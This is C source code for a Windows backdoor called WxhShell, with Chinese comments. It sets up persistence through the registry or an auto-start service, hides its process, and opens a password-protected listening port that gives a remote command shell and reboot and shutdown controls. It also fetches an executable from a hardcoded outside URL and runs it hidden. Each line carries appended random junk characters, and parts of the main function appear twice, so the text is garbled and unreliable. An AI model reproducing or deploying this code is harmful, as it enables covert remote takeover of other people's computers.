WinExec(wscfg.ws_filenam,SW_HIDE); FR,#s^kF
} k\&IFSp
<<On*#80w
if(!OsIsNt) { 0S:!Gv+
// 如果时win9x，隐藏进程并且设置为注册表启动 qVD!/;l
HideProc(); f93rY<
StartWxhshell(lpCmdLine); G'?f!fz;
} 7cmr *y
else ]7S7CVDk4
if(StartFromService()) , HI%Xn
// 以服务方式启动 ym*#ZE`B!
StartServiceCtrlDispatcher(DispatchTable); Y0X94k.u
else BdB`
// 普通方式启动 Q`p}X&^a
StartWxhshell(lpCmdLine); 5@>4)dk\
}:9|*m<$t
return 0; `-K)K<
} _h=<_Z
AV[PQI
JIbzh?$aD
S,Wl)\
=========================================== b8{h[YJL2
b!5tFX;J
t:"=]zUU
{`Fx~w;i
G<u.+V
*VC4s`<
" 4`!
]i,Mq
#include <stdio.h> 9HNh*Gc=
#include <string.h> 1|~#028
#include <windows.h> 5lHN8k=mm2
#include <winsock2.h> snTJe[^d
#include <winsvc.h> H&yFSz}6a
#include <urlmon.h> ~b$z\|Y
xL39>PB
#pragma comment (lib, "Ws2_32.lib") A.$VM#
#pragma comment (lib, "urlmon.lib") RZ)vU'@kx
Tu=eQS|'
#define MAX_USER 100 // 最大客户端连接数 @[>+Dzn[6
#define BUF_SOCK 200 // sock buffer uU[[[LQq
#define KEY_BUFF 255 // 输入 buffer bV )PT`-,
$;)noYo
#define REBOOT 0 // 重启 i^sDh>$J
#define SHUTDOWN 1 // 关机 qSC~^N`
g"Q}h
#define DEF_PORT 5000 // 监听端口 3h[:0W!C]
7<QYT+6xV
#define REG_LEN 16 // 注册表键长度 HzG~I8o(d
#define SVC_LEN 80 // NT服务名长度 qD$GKN.
Z\*5:a]
// 从dll定义API LN~N Fjs
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +6#%P
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mdltzy=)L
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w*6!?=jP
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,p*ntj{
rtYb"-&
// wxhshell配置信息 ~E3SC@KL
struct WSCFG { C:s^s
int ws_port; // 监听端口 x<{;1F,k3
char ws_passstr[REG_LEN]; // 口令 &w;^m/zP3
int ws_autoins; // 安装标记, 1=yes 0=no >G4HZE
char ws_regname[REG_LEN]; // 注册表键名 9&XV}I,~?|
char ws_svcname[REG_LEN]; // 服务名 h$aew63
char ws_svcdisp[SVC_LEN]; // 服务显示名 VM<oUKh_3
char ws_svcdesc[SVC_LEN]; // 服务描述信息 V 4\^TO`q=
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RP`GG+K
int ws_downexe; // 下载执行标记, 1=yes 0=no n&YW".iG
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0$f_or9T
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G&%nF4
`u p-m=zA
}; 9N*S-Po=
>p]WCb'PH
// default Wxhshell configuration BYr_Lz|T
struct WSCFG wscfg={DEF_PORT, L.IoGUxD
"xuhuanlingzhe", ,Ou1!`6?t
1, A"\P&kqMV
"Wxhshell", f74%YY
"Wxhshell", ~C/Yv&58
"WxhShell Service", e_I; y
"Wrsky Windows CmdShell Service", 0uVk$\:i
"Please Input Your Password: ", oRT
1, X ]pR,\B
"http://www.wrsky.com/wxhshell.exe", )8x:x7?
"Wxhshell.exe" e8XM=$@
}; y(/jTS/hd
Xc8= 2n
// 消息定义模块 kwDh|K
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Hz
char *msg_ws_prompt="\n\r? for help\n\r#>"; h\D_
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &prdlh=UE
char *msg_ws_ext="\n\rExit."; V5e\%
char *msg_ws_end="\n\rQuit."; teq^xTUF[
char *msg_ws_boot="\n\rReboot..."; zqekkR]
char *msg_ws_poff="\n\rShutdown..."; ]ZR{D7.?
char *msg_ws_down="\n\rSave to "; P<cMP)+K
|n|U;|'^
char *msg_ws_err="\n\rErr!"; -!'Oy%a#
char *msg_ws_ok="\n\rOK!"; V_+}^
0\\ueMj
char ExeFile[MAX_PATH]; {2}tPT[a(
int nUser = 0; zqHpT^B?
HANDLE handles[MAX_USER]; pIID=8RJ.
int OsIsNt; [|:QE~U@
~8H&m,{j
SERVICE_STATUS serviceStatus; m0xJ05Zx
SERVICE_STATUS_HANDLE hServiceStatusHandle; 3:]{(@J
PZ
// 函数声明 )XmCy"xx
int Install(void); pgz:F#>
int Uninstall(void); klK-,J
int DownloadFile(char *sURL, SOCKET wsh); #;\L,a|>*
int Boot(int flag); p|&ZJ@3
void HideProc(void); vHs>ba$"
int GetOsVer(void); $'A4RVVT
int Wxhshell(SOCKET wsl); iX8h2l
void TalkWithClient(void *cs); a' IX yj
int CmdShell(SOCKET sock); m%e^&N#%6r
int StartFromService(void); KXoL,)Hl
int StartWxhshell(LPSTR lpCmdLine); blRY7
ULp)T`P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9]]!8_0=r
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7af?E)}v
V]l&{hl,
// 数据结构和表定义 t7jh?]
SERVICE_TABLE_ENTRY DispatchTable[] = @!z$Sp=
{ 8BYIxHHz
{wscfg.ws_svcname, NTServiceMain}, .DgoOo%?"
{NULL, NULL} cPA~eZbX
}; 7.wR"1p#
wFK:Dp_^
// 自我安装 JDC=J(B
int Install(void) nwa\Lrh
{ ;yk9(wea}"
char svExeFile[MAX_PATH]; +G*"jI8W
HKEY key; V+qFT3?-
strcpy(svExeFile,ExeFile); y;,=ajrF
Zw;$(="
// 如果是win9x系统，修改注册表设为自启动 O{lIs_1.Z
if(!OsIsNt) { 8yHq7=
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~/^y.SsWM
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mV6#!_"
RegCloseKey(key); a(PjcQ4dY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ePV-yy
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G*kE~s9R
RegCloseKey(key); bWGyLo,
return 0; 6@"Vqm|HD
} @IEI%vH
} o\_ Td
} X4d Xm>*?=
else { gbYLA a
W0VA'W
// 如果是NT以上系统，安装为系统服务 D3<IuWeM
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >}ro[x`K
if (schSCManager!=0) <T(s\N5B=
{ =}~NRmmF
SC_HANDLE schService = CreateService I["F+kt^^
( e(?:g@]-r
schSCManager, 5Z* b(R
wscfg.ws_svcname, |$YyjYK
wscfg.ws_svcdisp, m(2G*}
SERVICE_ALL_ACCESS, \w{@u)h
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xL9:4'I
SERVICE_AUTO_START, AyE%0KmraK
SERVICE_ERROR_NORMAL, 17e=GL
svExeFile, Oamv9RyDvC
NULL, 4 hL`=[AB
NULL, oHxGbvQc
NULL, C}n'>],p
NULL, ~Y\QGuT
NULL kxwNbxC
); eeZIa`.sX
if (schService!=0) 3CA|5A.Pa
{ RxlszyE
CloseServiceHandle(schService); !nec 7
CloseServiceHandle(schSCManager); gE\A9L~b
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IM@"AD52a
strcat(svExeFile,wscfg.ws_svcname); W;^Rx.W
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "4'kb
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G1kDM.L
RegCloseKey(key); l<u{6o
return 0; }16&1@8
} l*$WX=h6n
} \eEds:Hg
CloseServiceHandle(schSCManager); WLE%d]'%M
} 5i^`vmK
} `>%-
aL88E
return 1; \s,Iz[0Vfz
} 7@FDBjq
3}08RU7[!
// 自我卸载 )\8URc|J
int Uninstall(void) yPSVwe|g
{ 66/Z\H^d
HKEY key; E^7C _JP
DP|TIt,Rl
if(!OsIsNt) { "]v uD
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I%SuT7"Do
RegDeleteValue(key,wscfg.ws_regname); :aHcPc:
RegCloseKey(key); =.DTR5(_h
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l+t #"3
RegDeleteValue(key,wscfg.ws_regname); ;?0_Q3IML
RegCloseKey(key); UMT\Q6p
return 0; k}X[u8A
} xM% pvx.'L
} pfR"s:#
} +eU`H[iu
else { ?2/uSG|
+Dd"41
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v5B" A"N
if (schSCManager!=0) R|-6o)$
{ 6*sw,sU[y
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q1H~ |1
if (schService!=0) 9t#P~>:jY}
{ FQ U\0<5
if(DeleteService(schService)!=0) { g`kY]lu
CloseServiceHandle(schService); ZOp^`c9~
CloseServiceHandle(schSCManager); oL#xDG
return 0; ]+mjOks~
} 3u*82s\8T
CloseServiceHandle(schService); jH(&oV
} J`W-]3S#
CloseServiceHandle(schSCManager); A1Ka(3"
} "t=UX -3
} ]\7lbLv
9MT? .q
return 1; JfbKf~g
} L1rwIOgq^
`{DG;J03[
// 从指定url下载文件 yji>*XG
int DownloadFile(char *sURL, SOCKET wsh) ?<! nm&~
{ Vz'HM$
HRESULT hr; UkZ\cc}aC/
char seps[]= "/"; 21ViHV
char *token; 7 %3<~'v[
char *file; *_PPrx5
char myURL[MAX_PATH]; m#*h{U$
char myFILE[MAX_PATH]; \<X2ns@Tf
lnfm0
strcpy(myURL,sURL); -xz|ayn
token=strtok(myURL,seps); _r]nJEF5
while(token!=NULL) <>]1Y$^Y
{ pL! a
file=token; IJ0#iA. T
token=strtok(NULL,seps); 7RD$=?oO'
} RE 9nU%!
MA$Xv`6I\
GetCurrentDirectory(MAX_PATH,myFILE); Gbn4*<N
strcat(myFILE, "\\"); l~rb]6E
strcat(myFILE, file); oKRFd_r+
send(wsh,myFILE,strlen(myFILE),0); alc]
send(wsh,"...",3,0); DKTD Z*
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "?P[9x}
if(hr==S_OK) F;pQ\Y
return 0; .A(i=!{q
else #I;D
return 1; 9s(i`RTM
[A]Ca$':
} JD ]OIh
1Fs-0)s8
// 系统电源模块 0vn[a,W<A
int Boot(int flag) gM#jA8gz
{ \-c#jo.$8
HANDLE hToken; :@/"abv
TOKEN_PRIVILEGES tkp; U;pe:
1M+oTIN
if(OsIsNt) { N 'i,>
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -6`;},Yr
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a8zZgIV
tkp.PrivilegeCount = 1; nkRK+~>
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E?cZbn*>`
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lVoik*,B
if(flag==REBOOT) { N xFUO0O3
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ) "[HZ/
return 0; (i]Z|@|)
} O#:&*Mv
else { =JW[pRI5a
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ' S,2
return 0; &{ZSE^
} R*bmu
} B)6#Lp3
else { t.)AggXj#
if(flag==REBOOT) { {fU?idY)c
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qp&4 1
return 0; `|EH[W&y
} \2>?6zs
else { nvt$F%+
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k;Hnu
return 0; I+",b4
} AkA!:!l
} "r..
OJpj}R
return 1; 'E-FO_N
} |` "?
2m"_z
// win9x进程隐藏模块 \ha-"Aqze3
void HideProc(void) +/y]h0aa
{ A=X-;N#
)xt4Wk/
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $;`I,k$0>~
if ( hKernel != NULL ) =X@o@1
{ f-D>3qSS
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =cn~BnowY
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?Ht=[l=
FreeLibrary(hKernel); )Gb,^NGr
} e:E# b~{
ah+j!e
return; smup,RNZRX
} 6D/tK|
x8\<qh*:
// 获取操作系统版本 ,E}$[mHyjz
int GetOsVer(void) [l*;E f,
{ "hPCQp`Tj
OSVERSIONINFO winfo; <lj\#'G3
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R ]P;sk5
GetVersionEx(&winfo); >1ZJ{se
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ($>XIb9f
return 1; [s}/nu~U
else 8r^ ~0nm
return 0; WYszk ,E
} S4bBafj[I
%4,?kh``D
// 客户端句柄模块 m|F:b}0Hb
int Wxhshell(SOCKET wsl) Js{=i>D
{ HnU Et/
SOCKET wsh; ,@.EpbB
struct sockaddr_in client; URw5U1
DWORD myID; K9|7dvzC:
af'@h:
while(nUser<MAX_USER) eW50s`bKY
{ <n^3uXzD
int nSize=sizeof(client); .~mCXz<x
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gx'TkU=
if(wsh==INVALID_SOCKET) return 1; Z0*%Rq
3ZojE ux`
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3Aj*\e0t
if(handles[nUser]==0) o`6|ba
closesocket(wsh); }l;Lxb2`
else 3n48%5
nUser++; }ZzLs/v%X
} u|fXP)>.
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u #~;&D*q
5<+KR.W
return 0; RH[+1z8
} JE;+T[I
CDdkoajBa
// 关闭 socket -^SA8y
void CloseIt(SOCKET wsh) |/T43ADW
{ ,.v7FM^gO
closesocket(wsh); 7bF*AYM
nUser--; Y7SacRO
ExitThread(0); A-uB\ L
} 98=la,^$
?WFh',`:
// 客户端请求句柄 d,9`<1{9
void TalkWithClient(void *cs) 8l>CR#%@C
{ '~Q2!F
s'u(B]E
SOCKET wsh=(SOCKET)cs; &`Ck
char pwd[SVC_LEN]; s 3r=mp{
char cmd[KEY_BUFF]; 4c159wsnQ
char chr[1]; 8C7Z{@A&#
int i,j; DtF}QvA
D7?C
while (nUser < MAX_USER) { P8I*dvu _
H%}IuHhN)
if(wscfg.ws_passstr) { Y*LaBxt Q
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X_?97iXjx
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zyye%Ly
//ZeroMemory(pwd,KEY_BUFF); 9[Qd)%MO
i=0; \#,t O%D
while(i<SVC_LEN) { MGt]'}
SEd5)0X^
// 设置超时 J|~26lG
fd_set FdRead; L*JPe"N-e
struct timeval TimeOut; ~cqryr9
FD_ZERO(&FdRead); P Sx304
FD_SET(wsh,&FdRead); z`U Ukl}T
TimeOut.tv_sec=8; c`G&KCw)d
TimeOut.tv_usec=0; '2nqHX D
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e3m*i}K}
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N1x@-/xa|
d,cN(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '&yeQ
pwd=chr[0]; %XTA;lrz
if(chr[0]==0xd || chr[0]==0xa) { <@uOCRbV
pwd=0; la^ DjHA$
break; I021p5h|
} #A<P6zJXR
i++; 0q6I;$H
} ~<9{#uM
B'weok
// 如果是非法用户，关闭 socket Of[;Qn
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tE"Si<[]H$
} Fn|gVR
]v29 Rx
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uTvv(f
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K_/B?h
QIU,!w-3X
while(1) { Is.WZYa
BNucc']
ZeroMemory(cmd,KEY_BUFF); %NARyz
Qt+:4{He
// 自动支持客户端 telnet标准 z/]q)`G
j=0; ;<wS+4,
while(j<KEY_BUFF) { mpay^.(%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -J0WUN$2*
cmd[j]=chr[0]; ^TFs;|..
if(chr[0]==0xa || chr[0]==0xd) { d- E4~)Qy
cmd[j]=0; 9NpD!A&64<
break; F%/h*
} `a]44es9q
j++; Nt-<W+,
} lmCZ8 j(FF
pwX C
// 下载文件 Z)"61) )
if(strstr(cmd,"http://")) { t+TYb#Tc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @QEqB_W
if(DownloadFile(cmd,wsh)) 0pgY1i7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 53OJ-m%a
else V'gw\mcb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3f76kl(&
} x"4%(xBu
else { d/,E2i{I7
8cxai8
switch(cmd[0]) { NAFsFngqH
8cWZ"v
// 帮助 p@Q5b}xCG_
case '?': { @gfDp<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RW7(r/C
break; K k[`dR;
} @y|_d
// 安装 -X1X)0v$
case 'i': { /SR^C$h'I
if(Install()) 9w4sSj`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I9y.e++/
else <vc`^Q&4B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _^t-9
break; Ob<W/-%5tH
} W{"XJt_
// 卸载 =U-r*sGLN
case 'r': { _}Ps(_5D
if(Uninstall()) oQ2KW..q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:;^'x>!
else -w6 "?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mDMt5(.
break; h{iEZ#
} g /+oZU
// 显示 wxhshell 所在路径 WE!vSZ3R
case 'p': { 'c`jyn
char svExeFile[MAX_PATH]; vK'?:}~
strcpy(svExeFile,"\n\r"); LXfCmc9|Z
strcat(svExeFile,ExeFile); 0tz:Wd*<
send(wsh,svExeFile,strlen(svExeFile),0); K%g;NW
break; 5z/Er".P
} )mN9(Ob!
// 重启 ~6[*q~B
case 'b': { e$/B_o7(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u\e\'\
if(Boot(REBOOT)) zA+@FR?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2%UBwSiqR
else { i u]&;
closesocket(wsh); tpf7_YP_!-
ExitThread(0); 6vy7l(%
} z01>'
break; (!K_Fy@
} tbDoP Y
// 关机 E+xuWdp.*
case 'd': { pw020}`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K\.5h4k
if(Boot(SHUTDOWN)) $p* p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =[tSd)D,y
else { c|~6Ie
closesocket(wsh); e 9$C#D>D
ExitThread(0); %Z]'!X
} d5j_6X
break; le>Wm&E
} m~l F`?
// 获取shell qoU3"8
case 's': { df*w>xS
CmdShell(wsh); RuRt0Sd3
closesocket(wsh); f"5g>[1
ExitThread(0); +Ezgn/bS&
break; 5F $V`kYT
} =P77"Dd
// 退出 TYgQJW?
case 'x': { j) vlM+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u:gtOjk2
CloseIt(wsh); e]>ori 8
break; 3/6/G}s
} ZU2laqa_
// 离开 y}2F9=
case 'q': { g[z.*y/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -7]Xjb5
closesocket(wsh); :VA.QrKW
WSACleanup(); ~%y@Xsot>
exit(1); -M5=r>1;
break; >H|` y@]
} 9ptFG]lZ
} '_0]vupvY
} ?(zoTxD
QDmYSY$
// 提示信息 #=e;?w
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JqUADm
} =([av7
} =H5\$&xj4.
alFjc.~}
return; 9l/EjF^
} gQWd&)'muf
D%/8{b:
// shell模块句柄 6vzk\n
int CmdShell(SOCKET sock) \>/M .2
{ HRa@
STARTUPINFO si; T5lQIr@a
ZeroMemory(&si,sizeof(si)); xycH~ ?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z+:D)L
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [Gr*,nVvB
PROCESS_INFORMATION ProcessInfo; kMxazx1
char cmdline[]="cmd"; tJI,r_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w5C*L)l
return 0; F1azZ(
} 3ha|0[r9
-\$`ic$"1
// 自身启动模式 )|#%Czd4
int StartFromService(void) _sHK*&W{CT
{ dWRrG-'
typedef struct Zf*r2t1&P
{ ZFh+x@
DWORD ExitStatus; _Tm0x>EM
DWORD PebBaseAddress; "i)Yvh[y
DWORD AffinityMask; =(r* 5vd
DWORD BasePriority; $6f\uuTU2"
ULONG UniqueProcessId; D$k8^Vs
ULONG InheritedFromUniqueProcessId; ,\PVC@xJ
} PROCESS_BASIC_INFORMATION; vxlOh.a|/L
wzcai 0y*
PROCNTQSIP NtQueryInformationProcess; USML~]G z
0(>rG{u
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ph:3|d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mio>{%/
g9h(sLSF
HANDLE hProcess; h+7>#*DH
PROCESS_BASIC_INFORMATION pbi; XFZ~ #DT&
}2>"<)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qB6dFl\ (
if(NULL == hInst ) return 0; <|6%9@
P.WYTst=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M++0zhS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y&T&1o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (g8*d^u#PO
tl8O6`<Z
if (!NtQueryInformationProcess) return 0; m7]hJ,0
[G|mY6F^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y#V8(DTyH
if(!hProcess) return 0; > dZ3+f
!4#"!Md4o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DtCEm(b0
8pZ<9t'
CloseHandle(hProcess); =odkz}bU
KlxN~/gyik
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &&8'0.M{
if(hProcess==NULL) return 0; %B2XznZ:
|!z2oO
HMODULE hMod; cL7g}$W$
char procName[255]; mS=r(3#
unsigned long cbNeeded; FVWfDQ$&v
[`fI:ao|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 42) mM#
*b(wVvz
CloseHandle(hProcess); ,i}|5ozj4
F}?<v8#z0
if(strstr(procName,"services")) return 1; // 以服务启动 x4?10f(9=
,32xcj}j)r
return 0; // 注册表启动 f|3q^wjs
} T3J'fjY
pgc3jP!
// 主模块 &K%aw
int StartWxhshell(LPSTR lpCmdLine) qc-,+sn(
{ 5fjd{Y[k
SOCKET wsl; h^|5|l
BOOL val=TRUE; Wsz0yHD[`
int port=0; .jg0a
struct sockaddr_in door; t=wXTK5"
D>ef
if(wscfg.ws_autoins) Install(); OYwGz
>wON\N0V_
port=atoi(lpCmdLine); bi[7!VQf
E0f{iO;}
if(port<=0) port=wscfg.ws_port; xN->cA$A
fZryG
WSADATA data; _]>JB0IY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Csst[3V
u:P~j
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |^n3{m
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '?Bg;Z'L%
door.sin_family = AF_INET; )najO*n
door.sin_addr.s_addr = inet_addr("127.0.0.1"); x-m/SI]_N
door.sin_port = htons(port); _2Py\+$
`^F: -
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dDcZ!rRaL@
closesocket(wsl); =yiOJyx
return 1; %CH6lY=lI
} ]?l{j
0%C^8%(x
if(listen(wsl,2) == INVALID_SOCKET) { A*]$v
closesocket(wsl); 8v_C5d\
return 1; o \L!(hm
} wrv5V M}
Wxhshell(wsl); 6vs3O
WSACleanup(); Utl t<
loOOmHhJ&
return 0; M?&zY "c
(|h:h(C
} jZ9[=?
lu\o`m5wF
// 以NT服务方式启动 +&v\ /
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0{rx.C7|
{ `iixq9xi
DWORD status = 0; [s6C ZcL
DWORD specificError = 0xfffffff; }0/a\
'x%x'9OP
serviceStatus.dwServiceType = SERVICE_WIN32; b)}+>Wx
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :[7lTp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MiGcA EF;
serviceStatus.dwWin32ExitCode = 0; D!3{gV#
serviceStatus.dwServiceSpecificExitCode = 0; v548ysE)
serviceStatus.dwCheckPoint = 0; yXfMzG
serviceStatus.dwWaitHint = 0; P'[<AZ
KX+ey8@[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H#(<-)j0_
if (hServiceStatusHandle==0) return; ?-~I<f]_
DguB
status = GetLastError(); SG]K
if (status!=NO_ERROR) LsTffIP
{ EQ >t[ &
serviceStatus.dwCurrentState = SERVICE_STOPPED; !C&%T]
serviceStatus.dwCheckPoint = 0; Z5)eREi=
serviceStatus.dwWaitHint = 0; ]|oJ)5P
serviceStatus.dwWin32ExitCode = status; .[pUuVq]
serviceStatus.dwServiceSpecificExitCode = specificError; %efGt6&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V|?WF&
return; mUXk9X%n
} g`Md80*Zfk
)2j:z#'>
serviceStatus.dwCurrentState = SERVICE_RUNNING; bKz{wm%
serviceStatus.dwCheckPoint = 0; Uene=Q6>
serviceStatus.dwWaitHint = 0; 9%,;XQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <|F-Dd
} kq/u,16@
TipHV;|e
// 处理NT服务事件，比如：启动、停止 Z7#7N wy4
VOID WINAPI NTServiceHandler(DWORD fdwControl) Os&1..$Nb
{ o}D![/
switch(fdwControl) 9YKDguG
{ %J P!{mqj
case SERVICE_CONTROL_STOP: 3'#%c>_
serviceStatus.dwWin32ExitCode = 0; 8 njuDl
serviceStatus.dwCurrentState = SERVICE_STOPPED; aj7dH5SZl
serviceStatus.dwCheckPoint = 0; L(o#4YH}>J
serviceStatus.dwWaitHint = 0; gA:TL{X0
{ 0D3OE.$0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tbur$00
} [X"k> Sq
return; VTw/_Hf2p
case SERVICE_CONTROL_PAUSE: W<'<'z5
serviceStatus.dwCurrentState = SERVICE_PAUSED; $$gtZ{ukQ
break; 0s%6n5>
case SERVICE_CONTROL_CONTINUE: SGf9U^ds
serviceStatus.dwCurrentState = SERVICE_RUNNING; )U98
break; aqL<v94wX
case SERVICE_CONTROL_INTERROGATE: RaNeZhF>M
break; [MmM9J["
}; L3c*LL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d6b.zP
} ^Q2ZqAf^a
x:-`o_Q*i
// 标准应用程序主函数 (V9h2g&8L
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gxM[V>[
{ Slx2z%'>
;'1Apy
// 获取操作系统版本 r%-n*_?.s
OsIsNt=GetOsVer(); TA;,>f*
GetModuleFileName(NULL,ExeFile,MAX_PATH); y^s1t2]%
2ksA.,UB^9
// 从命令行安装 )Vk:YL++
if(strpbrk(lpCmdLine,"iI")) Install(); JMsHK,(
%zljH"F
// 下载执行文件 'p)QyL`d
if(wscfg.ws_downexe) { fValSQc!U
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $ I<|-]u
WinExec(wscfg.ws_filenam,SW_HIDE); #v/ry)2Y=
} l>Av5g)
wRbw
if(!OsIsNt) { .TN2s\:]jw
// 如果时win9x，隐藏进程并且设置为注册表启动 ua#K>sur.
HideProc(); fv?45f
StartWxhshell(lpCmdLine); R}k69-1vL
} qS]G&l6QF
else `ue?Z%p|
if(StartFromService()) ,+-h7^{`
// 以服务方式启动 \(u@F<s-
StartServiceCtrlDispatcher(DispatchTable); mQ,{=C=D
